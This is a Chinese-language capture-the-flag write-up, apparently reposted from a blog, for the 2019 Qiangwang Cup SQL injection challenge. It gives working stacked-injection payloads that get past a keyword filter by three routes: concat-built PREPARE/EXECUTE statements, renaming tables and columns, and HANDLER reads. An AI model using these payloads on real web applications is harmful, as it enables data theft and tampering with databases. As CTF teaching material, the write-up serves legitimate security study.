2019强网杯——随便注

1' and 1=1# 无报错
1’ order by 2#测出两列字段
1' union select 1,2#提示有过滤:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这里尝试堆叠注入是成功的,既然如此我们就可以执行多命令了!

1';show databases; 查看数据库名
1';show tables; 查看表名
1';show columns from table; 查看table表下的字段
可以发现word表下有id、data字段,而1919810931114514表下有flag(注意1919810931114514是要用反引号包裹的)
但我们猜测SQL执行语句是:select id,data from words where id = ‘$_GET[inject]‘



解法一:预处理(PREPARE 和 EXECUTE)

SET @tn = 'hahaha'; //存储表名到变量@tn中
SET @sql = concat('select * from ', @tn); //存储SQL语句

PREPARE hack from @sql; //预定义SQL语句
EXECUTE hack; //执行预定义SQL语句

(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句

利用concat('sel','ect')或者concat(char(115,101,108,101,99,116))连接成select

两种payload(大致思路是一样的):
1';SET @sql=concat('sel','ect * from `1919810931114514`'); PREPARE hack from @sql;EXECUTE hack;#

1';use supersqli;set @sql=concat( char(115,101,108,101,99,116),' flag from `1919810931114514`');PREPARE hack1 FROM @sql;EXECUTE hack1;#

解法二:更换表名、字段名
既然执行语句是select id,data from words where id = ‘$_GET[inject]‘
我们就将flag所在的表名和flag字段名替换成对应的words和data

修改表名:

把users表名改为qwq:rename table users to qwq;

修改字段名:

把words表下的flag字段改为data:alert table words change flag data varchar(100);

payload:
1';rename table words to qwq;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

解法三:handler 查询语句
既然select不允许使用,不妨尝试一下handler来查询
介绍一下handler的语法规则:

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

通过HANDLER tbl_name OPEN 打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行
NEXT获取下一行,PREV获取前一行,LAST获取最后一行

通过HANDLER tbl_name CLOSE来关闭打开的句柄。

payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;#

注意一下两个字母
alter: sql语法:修改
alert:js 弹出框

猜你喜欢

转载自blog.csdn.net/weixin_45669205/article/details/114299328